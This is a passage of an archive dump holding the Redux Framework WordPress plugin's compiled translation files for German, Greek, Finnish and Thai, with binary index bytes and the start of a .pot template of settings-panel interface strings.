of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!extensions directoryleave us a favorable review on WordPress.orgour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: German (Germany) (http://www.transifex.com/projects/p/redux-framework/language/de_DE/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: de_DE Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktiviere den Demo-ModusEntwickler-Plugins aktivierenAktivAktive PluginsMehr HinzufügenGallerie hinzufügen/bearbeitenAlleAlle Voreinstellungen wieder hergestellt!Tracking erlaubenSind Sie sicher? Alle ihre Einstellungen gehen dadurch verloren.Sind Sie sicher? Alle ihre Einstellungen in diesem Bereich gehen dadurch verloren.Sind Sie sicher? Alle ihre Einstellungen gehen dadurch verloren.Automatisierte Action durchgeführt: "%s"Scroll-Verhalten des HintergrundsHintergrund-ClipHintergrund-QuelleHintergrund-PositionHintergrund-WiederholungHintergrundgrößeBackup-SchriftartRahmenstilUntenBrowserChangelogGallerie leerenKlicken Sie hier um die Beispiel-Konfigurations-Datei zu aktivieren.SchliessenMitwirkendeDeaktiviere den Demo-Modus.Entwickler-Plugins deaktivierenStandardeinstellungenLöschenBeschreibungEntwicklerWusstest du schon, dass wir Erweiterungen anbieten, die die Funktionen von Redux stark verbessern? Besuche unsere %1$s um mehr zu erfahren.DeaktivierenVerwerfenTracking nicht erlaubenE-Mail-AdresseAktivierenAusdehnenExport-EinstellungenErweiterungenSchriftfarbeSchriftartSchriftgrößeZeichensätzeSchriftvarianteSchriftstärke & -stilSchriftfarbeSchriftartSchriftsystemSchriftstilZeichensätzeVonStartseiteJetzt loslegenGoogle WebfontsHöheHilf unserer Panel zu verbessernHier kannst du deine derzeitigen Eingestellten Optionen kopieren/herunterladen. Verwahre es sicher auf, da es zur Wiedehrerstellung verwendet werden kann falls etwas falsch abläuft, or du deine Einstellungen auf dieser oder irgendeiner anderen Seite wiederherstellen willst.HinweiseHoverWenn ja, bitte %1$s und unterstütze uns mit einer %2$s, damit wir Redux auch in Zukunft weiterentwickeln können.Wenn du über Redux auf dem Laufenden gehalten werden möchtest, bitte melde dich bei unserem Newsletter anImportierenImport / ExportImport-EinstellungenImportieren von URLFüge die URL von einer anderen Seiten Optionen hinzu und drücke Importieren um die Optionen von dieser Seite zu laden.Füge deine Backup/Sicherungsdatei Datei unten ein und drücke auf Exportieren damit die Einstellungen deiner Seite aus dem Backup/ der Sicherung wiederhergestellt werden.LinksZeichenabstandGefällt dir Redux?ZeilenhöheMuss nach der Action "plugins_loaded" aufgerufen werden.NameNeuer %sNewsletterKeine Elemente von diesem Typ wurden gefunden.Keine ausgewähltAusAnOptionenEinstellungs-ObjektErstellt mit Hilfe von %1$sPasswortBitte wartenBitte helfen Sie uns, das Nutzererlebnis zu verbessern, indem Sie der Sammlung anonymer Nutzerstatistiken zustimmen. Damit erfahren wir, welche Einstellungen, Plugins und Themes wir auf Kompabilität testen müssenRedux-ErweiterungenRedux FrameworkRedux Framework ChangelogDas Redux Framework verfügt über eine mitgelieferte Demo.Redux GeneratorRegulärEntfernenRepoAlles zurücksetzenZurücksetzenRechtsÄnderungen speichernVoreinstellungen dieses Abschnitts wieder hergestellt!Wähle ein ElementEinstellungen importiert!Einstellungen wurden gespeichert!Einstellungen wurden geändert, du solltest sie abspeichern!Zeige Objekte im Javascript Konsolen-ObjektGrößeGleitenStandard SchriftartenStatusStyle/StilAnmeldenZeichensätzeSupportSysteminformationTextausrichtungTextauszeichnungTexttransformationDie Menschen, die das Redux Framework entwickelnDie unbekannte Action wurde durch "%s" ersetztThemeDieses Feld kann nicht leer sein. Bitte gib einen Wert ein.Dieses Feld muss einen gültigen Farbwert haben.Dieses Feld muss ein gültiges Datum sein.Dieses Panel demonstriert die vielen Funktionen von Redux.ÜberschriftZuObenTransparentURLEinheitenUnbekannte Action "%1$s" für %2$s definiertHochladenBenutzerBenutzernameVersionVersion %s%s ansehenBesuch die Plugin-SeiteBesuchtWARNUNG! Dies überschreibt alle bestehenden Einstellungen, bitte gehe vorsichtig damit um!Du möchtest gleich loslegen? Verwende den %1$s. Er wird ein individuelles Boilerplate Theme oder einen eigenständigen Admin-Ordner mit allen Redux things (mit Hilfe von Unterstrichen und TGM) erstellen. Spar dir die Kopfschmerzen und probiere es aus.Warnung - Dieses Einstellungs-Panel wird ohne Javascript nicht einwandfrei funktionieren!Willkommen beim Redux FrameworkWillkommen beim Redux Framework %sWillkommen beim Redux-Demo-PanelWas neu istBreiteWortabstandFunktioniert...Du hast nicht die erforderlichen Rechte, um auf diese Seite zuzugreifen.Ihre Änderungen wurden noch nicht gespeichert. Möchten Sie jetzt speichern?Ihre Änderungen wurden noch nicht gespeichert. Möchten Sie jetzt speichern?In diesen Feld kannst du kein HTML eingeben. Alle HTML Tags werden entfernt. In diesen Feld kannst du keine Sonderzeichen eingeben. Alle Sonderzeichen werden entfernt.Du musst eine kommaseparierte list mit numerischen Werte für diese Option bereitstellen.Du must einen nummerischen Wert für diese Option bereitstellen.Du musst eine gültige URL für diese Option bereitstellen.Du musst eine gültige E-Mail für diese Option bereitstellen.Ihre aktuellen Einstellungen werden mit den Standardwerten ersetzt. Möchten Sie fortfahren?Ihre aktuellen Einstellungen werden mit den Standardwerten ersetzt. Möchten Sie fortfahren?SpendeFehler wurden gefunden!Ordner für die Erweiterungenhinterlasse ein Review auf WordPress.orgDokumentationWarnungen wurden gefunden!lib/redux-framework/languages/redux-framework-el.mo000064400000043712147206624460016501 0ustar00        5DJ4  1CS fs z .   l(      ! 9 D P \ gtzZUBIYh]xX/4 C O2[ !  $ -9J%Z    ,(Irw}   .3'R zy #/3(9binw UF2R X e;pFEK9bL35-i/a`),Y9m!H! !+!6)"`"Dg"6"{"_#$E$$$%!%7%W%nt%%%&#.&R&&&=&E<''''''((=)DC))))')1)+.*0Z*/*7*'*1+8M+%+/++++,E,]W,.../Z0!k0#030x0^1f2"v222P2 3 3#'3HK3J3333)4`:444%444O 5\5u5555#5 5.5G6(b6*6.6e6aK777+77 88$878+L8!x8%8/8Q8B9sK9j9_*: : ;; ; ;;;U;+< <<I< a<n<~<<<<<=~i?G? 0@=@]@Zw@@hAABrCj#DpDrDrE'F F&F'GM)GwG3GU{QWX)np^l*F-ewjTS5%P(mzYgir`vDZR.h+xNLJ ;20Kk d?3V 7O y_<!A>1}|HB]u$G,ot/q[IEb8 \ ~c=':s69aM@"&4Cf#Activate Demo ModeActivate Development PluginsActiveAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP VersionPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework has an embedded demo.Redux GeneratorRegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText DecorationText TransformThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to the Redux Demo PanelWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!extensions directoryleave us a favorable review on WordPress.orgour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Greek (http://www.transifex.com/projects/p/redux-framework/language/el/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: el Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Ενεργοποιήστε τη λειτουργία DemoΕνεργοποιήσετε Αναπτυσσόμενα ΠρόσθεταΕνεργόΠροσθέσετε ΠερισσότεροΠροσθήκη/Επεξεργασία ΓκαλερίΌλαΌλες οι Προεπιλογές Αποκαταστάθηκαν!Επιτρέψετε την παρακολούθησηΕίσαι σίγουρος; Η επαναφορά θα χάσει όλες τις προσαρμοσμένες τιμές.Είστε σίγουροι; Η επαναφορά θα χάσει όλες τοις προσαρμοσμένες τιμές σε αυτή την ενότητα.Είστε σίγουροι; Στη επαναφορά θα χάσετε όλες τις προσαρμοσμένες τιμές.Αυτόματη ενέργεια που εκτελέστηκε: "%s"Επισύναψη φόντουΦόντο ΒίντεοΠροέλευση ΦόντουΘέση φόντουΕπανάληψη φόντουΜέγεθος Φόντου Δημιουργία αντιγράφων ασφαλείας Οικογένεια ΓραμματοσειράςΣυνοριακό στυλKάτω μέροςΣύνοψη αλλαγώνΚαθαρισμός ΓκαλερίΚάντε κλικ εδώ για να ενεργοποιήσετε το αρχείο ρυθμίσεων του δείγματος.ΚλείσιμοΕυχαριστίεςΑπενεργοποιήστε τη λειτουργία DemoΑπενεργοποιήσετε Πρόσθετα Ανάπτυξης ΠροεπιλογήΔιαγράψετεΠεριγραφήΠρογραμματιστήςΓνωρίζατε ότι έχουμε επεκτάσεις, οι οποίες αυξάνουν σημαντικά τα χαρακτηριστικά του Redux; Επισκεφθείτε μας %1$s για να μάθετε περισσότερα!ΑπενεργοποίησηΑπόκρυψηΜην Επιτρέψετε την παρακολούθησηΔιεύθυνση ηλεκτρονικού ταχυδρομείουΕνεργοποίησηΑναπτύξτεΕξαγωγή ΕπιλογώνΧρώμα ΓραμματοσειράςΟικογένεια γραμματοσειράςΜέγεθος ΓραμματοσειράςΥποσύνολο Γραμματοσειρών Παραλλαγή ΓραμματοσειράςΒάρος Γραμματοσειράς & ΣτυλΧρώμα γραμματοσειράςΟικογένεια γραμματοσειρώνΓραμματοσειρά δέσμη ενεργειώνΣτυλ γραμματοσειράςΥποσύνολα ΓραμματοσειρώνΑπόΞεκινώνταςGoogle WebFontsΎψοςΒοηθήστε μας να βελτιώσουμε το Panel μαςΕδώ μπορείτε να αντιγράψετε/κατεβάστε τις τρέχουσες ρυθμίσεις τών επιλογών σας. Κρατήστε αυτό το ασφαλές, όπου μπορείτε να το χρησιμοποιήσετε ως ένα αντίγραφο ασφαλείας σε περίπτωση που κάτι πάει στραβά, ή μπορείτε να το χρησιμοποιήσετε για να επαναφέρετε τις ρυθμίσεις σας σε αυτή την ιστοσελίδα (ή οποιαδήποτε άλλη ιστοσελίδα).ΣυμβουλέςΕπικρέμαμαιΕάν ναι, παρακαλούμε %1$s και να εξετάσει κάνοντας %2$s για να κρατήσει την ανάπτυξη από Redux να προχωρήσει.Αν θέλετε να παρακολουθείτε με όλα τα πράγματα Redux, παρακαλούμε να εγγραφείτε στο ενημερωτικό δελτίο μαςΕισαγωγήΕισαγωγή / ΕξαγωγήΕπιλογές ΕισαγωγήςΕισαγωγή από τη διεύθυνση URLFüge die URL von einer anderen Seiten Optionen hinzu und drücke Importieren um die Optionen von dieser Seite zu laden.Εισάγετε το εφεδρικό αρχείο σας παρακάτω και πατήστε Εισαγωγή για να επαναφέρετε τις επιλογές των ιστοσελίδων σας από ένα αντίγραφο ασφαλείας.AριστεράΔιάστημα Επιστολή Όπως Redux;Ύψος ΓραμμήςΠρέπει να καλέσετε μετά την δράση «plugins_loaded".ΌνομαΝέο %sΕνημερωτικό ΔελτίοΒρέθηκε.χωρίς στοιχεία αυτού του τύπου.Δεν υπάρχουν επιλεγμένα μέσα ενημέρωσηςΚλείσιμοΆνοιγμαΕπιλογέςΕπιλογές ΑντικειμένουΠίνακα επιλογών που έχει δημιουργηθεί με τη χρήση %1$sΈκδοση PHPΚωδικόςΠαρακαλώ ΠεριμένετεΕπεκτάσεις ReduxRedux FrameworkΤο Πλαίσιο Του Redux έχει ένα ενσωματωμένο demo.Γεννήτρια ReduxΚανονικάΑφαίρεσηΡεπόΕπαναφορά ΌλωνΕπαναφορά ΤμήματοςΔεξιάΑποθηκεύσετε τις ΑλλαγέςΠροεπιλογές Τμήματος Αποκαταστάθηκαν!Επιλέξτε ένα στοιχείοΡυθμίσεις Εισήχθηκαν! Ρυθμίσεις Αποθηκεύτηκαν!Ρυθμίσεις έχουν αλλάξει, θα πρέπει να τις αποθηκεύσετε!Εμφάνιση αντικειμένου σε Κονσόλα Javascript ΑντικείμενουΜέγεθοςΟλίσθησηΓραμματοσειρές ΠρότυπαΚατάστασηΣτυλΕγγραφήΥποσύνολαΥποστήριξηΠληροφορίες ΣυστήματοςΣτοίχιση κειμένουΔιακόσμηση ΚειμένουΜετασχηματισμός κειμένουΗ άγνωστη δράση έχει αντικατασταθεί με τη "%s"ΘέμαΑυτό το πεδίο δεν μπορεί να είναι κενό. Παρακαλώ δώστε μια τιμή.Αυτό το πεδίο πρέπει να αποτελεί μία έγκυρη τιμή χρώματος.Αυτό το πεδίο πρέπει να είναι μια έγκυρη ημερομηνία.Αυτός ο πίνακας δείχνει τα πολλά χαρακτηριστικά του Redux. Πριν από το σκάψιμο σε, σας προτείνουμε να πάρετε μέχρι την ταχύτητα με την επανεξέταση %1$s.ΤίτλοςΣέΚορυφήTransparentURLΜονάδεςΆγνωστη ενέργεια "%1$s" που καθορίζεται για το %2$sΑνεβάστεΜέλουςΌνομα ΧρήστηΈκδοσηΈκδοση %s%s Δείτε τον ιστότοπο του προσθέτουΕπισκέφτηκεΠΡΟΣΟΧΗ! Αυτό θα διαγράψει όλες τις υπάρχουσες αξίες, σας παρακαλούμε να προχωρίσεται με προσοχή!Θέλετε να πάρετε ένα προβάδισμα; Χρησιμοποιήστε το %1$s. Θα δημιουργήσει ένα προσαρμοσμένο θέμα στερεότυπο ή ένα αυτόνομο admin φάκελο πλήρες με όλα τα πράγματα Redux (με τη βοήθεια από υπογράμμισης και TGM). Σώσε τον εαυτό σου έναν πονοκέφαλο και να το δοκιμάσετε σήμερα.Προειδοποίηση-Αυτός ο πίνακας δεν θα λειτουργήσει σωστά χωρίς javascript!Καλώς ήρθατε στον Πίνακα Επίδειξης ReduxΠλάτοςΛέξη ΔιαστήματοςΔουλεύοντας...Δεν έχετε δικαιώματα πρόσβασης σε αυτή τη σελίδα.Έχετε κάνει αλλαγές που δεν είναι αποθηκευμένες. Θέλετε να τις αποθηκεύσετε τώρα;Έχετε κάνει αλλαγές που δεν έχουν αποθηκευτεί. Θέλετε να τοις αποθηκεύσετε τώρα;Δεν πρέπει να εισέρχονται σε οποιαδήποτε HTML στον τομέα αυτό, όλες οι ετικέτες HTML έχουν αφαιρεθεί.Δεν πρέπει να εισάγετε ειδικούς χαρακτήρες σε αυτόν τον τομέα, όλοι οι ειδικοί χαρακτήρες έχουν αφαιρεθεί.Πρέπει να δώσετε ένα με κόμμα διαχωρίζοντας την λίστα των αριθμητικών τιμών με αυτή την επιλογή.Πρέπει να δώσετε μια αριθμητική τιμή για αυτή την επιλογή.Πρέπει να δώσετε μια έγκυρη διεύθυνση URL για αυτή την επιλογή.Πρέπει να δώσετε μια έγκυρη διεύθυνση email για αυτή την επιλογή.Τρέχουσες επιλογές σας θα πρέπει αντικατασταθούν με τις αξίες αυτού του Preset. Θέλετε να συνεχίσετε;Τρέχουσες επιλογές σας θα αντικατασταθούν με τις αξίες αυτού του Preset. Θέλετε να συνεχίσετε;δωρεάσφάλμα (-τα) βρέθηκαν!κατάλογος επεκτάσεωναφήστε μας μία ευνοϊκή κριτική για WordPress.orgή τεκμηρίωση μαςπροειδοποίηση (ες) βρέθηκαν!lib/redux-framework/languages/redux-framework-fi.mo000064400000011167147206624460016476 0ustar00D<a\" $(>Rdk{    5 = IUd"   $ - @ N h o u    &        # = H ;N [ '    6AGNW^el   !$5Ziqu#{  =DJ]btz#   (4;;/ 034":<&B,;A->* %#C'1=279 85?.6$ ()D+!@%s → Add NewActiveAdd-on plugins are available that greatly extend the default functionality of Easy Digital Downloads. There are extensions for payment processors, such as Stripe and PayPal, extensions for newsletter integrations, and many, many more.Additional Display OptionsAdditional UpdatesAllBackground AttachmentBackground PositionBackground RepeatBottomBuy Now ButtonsChange the Number of ColumnsChangelogCloseCopyCreditsDefaultDeleteDescriptionDisableDismissDocumentationDownloadDownload FilesEmail addressEnableExtensions for EverythingFeatureFont FamilyFont familyFull ChangelogGet Alerted About New TutorialsGet Notified of Extension ReleasesGetting StartedHeightImportLeftNeed Even Faster Support?Need Help?No valid changlog was found.OffOver 250 ExtensionsPasswordPhenomenal SupportProduct PricePurchase Buttons AnywhereRemoveRightSave ChangesSizeStay Up to DateStyleSubscribeSystem InfoThe [purchase_link] ShortcodeTitleTopURLUploadUsernameVersion %sView %sView the Full ChangelogVisit the Extension StoreWhat's NewWidthYou do not have sufficient permissions to access this page.Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Finnish (http://www.transifex.com/projects/p/redux-framework/language/fi/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fi Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes %s → Lisää uusiAktiivinenEasy Digital Downloads -lisäosaan on saatavilla paljon laajennoksia (add-ons), jotka mahdollistavat mm. maksuyhteydet, uutiskirjeet ja paljon muuta.LisäasetuksetLisäpäivityksetKaikkiKuvan asetteluSijaintiKuvan toistoAlasOsta nyt painikkeetMuuta sarakkaiden lukumäärääMuutoslokiSuljeKopioiTekijätOletusPoistaKuvausPoista käytöstäSuljeDokumentaatioLatausLataa tiedostotSähköpostiosoiteSalliLaajennoksia joka lähtöönOminaisuudetKirjasinFontin tyyliKoko muutoslokiSaa muistutuksia uusista ohjeistaSaat ilmoituksia uusista lisäosistaAloita tästäKorkeusTuoVasenTarvitsetko nopeampaa tukipalvelua?Tarvitsetko apua?Muutoslokia ei löytynyt.Pois päältäYli 250 laajennostaSalasanaUskomaton tukipalveluTuotteen hintaOstopainikkeen saa mihin tahansaPoistaOikeaTallenna muutoksetKokoPysy ajan tasallaTyyliLiityJärjestelmäinfo[purchase_link]-lyhytkoodiOtsikkoYlösURLSiirräKäyttäjätunnusVersio %sNäytä %sNäytä koko muutoslokiVieraile verkkokaupassa.Mitä uuttaLeveysSinulla ei ole tämän sivun saantiin tarvittavaa oikeutta.lib/redux-framework/languages/redux-framework-th.mo000064400000020756147206624460016517 0ustar00c4Lpq4  2 D T a h r .          + 2 9 H T _ k v |    U    % 5 : I N Y k o r z        , + 0 ? F L V b m 3s           U S s y ; E 3-Gu~Q9 F>b0-i$0-'$Ch<* ?&$?d9}' 0!0R*q! %0M m9z <  ($Gl! * <  I1S 9Vfy! jB U_rv Q=Sb'~!T ` J!h!%{!'!$!#N(,8aBF!D0@9+2c5SJI_`?CQ*>EVKY%\GUTW)<$]"-L' 3b[= R&./61Z7^;M OX 4H:AP Activate Demo ModeAdd MoreAdd/Edit GalleryAllAllow trackingAre you sure? Resetting will lose all custom values.Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont FamilyFont colorFont familyFont styleFrom Getting StartedGoogle WebfontsHeightHintsIf you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLLeftLetter SpacingNameNewsletterNo media selectedOffOnOptionsOptions ObjectPasswordPlease WaitRedux ExtensionsRegularRemoveReset AllRightSave ChangesSettings Imported!Settings Saved!Settings have changed, you should save them!SizeStandard FontsStatusStyleSubscribeSystem InfoText AlignThemeThis field cannot be empty. Please provide a value.TitleTo TopURLUnitsUploadUserUsernameVersionVersion %sVisit plugin homepageWARNING! This will overwrite all existing option values, please proceed with caution!Welcome to the Redux Demo PanelWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You must provide a numerical value for this option.You must provide a valid URL for this option.donationerror(s) were found!extensions directoryour documentationProject-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Thai (http://www.transifex.com/projects/p/redux-framework/language/th/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: th Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes เปิดใช้งานโหมดทดลองเพิ่มเติมเพิ่ม/แก้ไข คลังรูปภาพทั้งหมดอนุญาติการติดตามคุณแน่ใจไหม? การรีเซ็ตจะทำให้ค่าทั้งหมดหายไปไฟล์แนบพื้นหลังคลิปพื้นหลังพื้นหลังเริ่มต้นตำแหน่งพื้นหลังทำซ้ำพื้นหลังขนาดพื้นหลังรูปแบบขอบด้านล่างบันทึกการเปลี่ยนแปลงล้างคลังรูปภาพคลิ้กที่นี่เพื่อเปิดใช้งานตัวอย่างไฟล์ตั้งค่าปิดเครดิตปิดการใช้งานโหมดทดลองค่าหลักลบคำขยายความผู้พัฒนาปิดการใช้งานเลิกเสียไม่อนุญาติการติดตามอีเมล์แอดเดรสใช้งานขยายส่งออกการตั้งค่าตระกูลฟอนต์สีตัวอักษรรูปแบบตัวอักษรรูปแบบอักษรจากเริ่มต้นGoogle Webfontsความสูงคำใบ้หากคุณต้องการติดตามความเคลื่อนไหวของ Redux, โปรดติดตามรับจดหมายข่าวจากเรานำเข้านำเข้า/ส่งออกนำเข้าการตั้งค่านำเข้าจาก URLซ้ายการเว้นวรรคตัวอักษรชื่อจดหมายไม่มีสื่อที่ถูกเลือกปิดเปิดการตั้งค่าตั้งค่าวัตถุรหัสผ่านโปรดรอส่วนเสริม Reduxปกติลบออกเคลียร์ทั้งหมดขวาบันทึกการเปลี่ยนแปลงการบันทึกการตั้งค่า!การตั้งค่าเปลี่ยนเรียบร้อย, คุณควรบันทึกสิ่งนี้ขนาดรูปแบบอักษรมาตราฐานสถานะรูปแบบติดตามข้อมูลระบบแนวตัวอักษรธีมไม่สามารถปล่อยช่องว่างได้ โปรดใส่ค่าหัวข้อถึงด้านบนURLหน่วยอัปโหลดผู้ใช้ชื่อผู้ใช้รุ่นรุ่น %sเยี่ยมชมหน้าเว็บของปลั๊กอินคำเตือน! การกระทำนี้จะแก้ไขค่าที่มีอยู่, โปรดดำเนินการด้วยความระมัดระวังยินดีต้อนรับสู่แผงควบคุม Redux Demoความกว้างการเว้นวรรคคำกำลังทำงาน...คุณไม่มีสิทธิ์เข้าถึงหน้านี้การแก้ไขของคุณยังไม่ถูกบันทึก, ต้องการบันทึกเลยหรือไม่คุณสามารถใส่ได้แค่ตัวเลขเท่านั้นคุณต้องใส่ค่า URL ให้ถูกต้องบริจาคพบข้อผิดพลาด!แฟ้มส่วนเสริมเอกสารประกอบlib/redux-framework/languages/redux-framework.pot000064400000122721147206624460016270 0ustar00# Copyright (C) 2015 Team Redux # This file is distributed under the GPL2+. msgid "" msgstr "" "Project-Id-Version: Redux Framework 3.5.3\n" "Report-Msgid-Bugs-To: " "https://github.com/ReduxFramework/ReduxFramework/issues\n" "POT-Creation-Date: 2015-04-15 23:15:00+00:00\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "PO-Revision-Date: 2015-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "X-Generator: grunt-wp-i18n 0.4.9\n" "X-Poedit-KeywordsList: " "__;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_" "attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c;\n" "Language: en\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-Country: United States\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: ../\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-Bookmarks: \n" "X-Textdomain-Support: yes\n" #: ReduxCore/core/enqueue.php:397 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:566 msgid "You have changes that are not saved. Would you like to save them now?" msgstr "" #: ReduxCore/core/enqueue.php:405 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:567 msgid "Are you sure? Resetting will lose all custom values." msgstr "" #: ReduxCore/core/enqueue.php:413 msgid "Are you sure? Resetting will lose all custom values in this section." msgstr "" #: ReduxCore/core/enqueue.php:421 #: ReduxCore/inc/extensions/customizer/extension_customizer.php:568 msgid "" "Your current options will be replaced with the values of this preset. Would " "you like to proceed?" msgstr "" #: ReduxCore/core/enqueue.php:428 msgid "Please Wait" msgstr "" #: ReduxCore/core/enqueue.php:439 msgid "There was an error saving. Here is the result of your action:" msgstr "" #: ReduxCore/core/enqueue.php:440 msgid "There was a problem 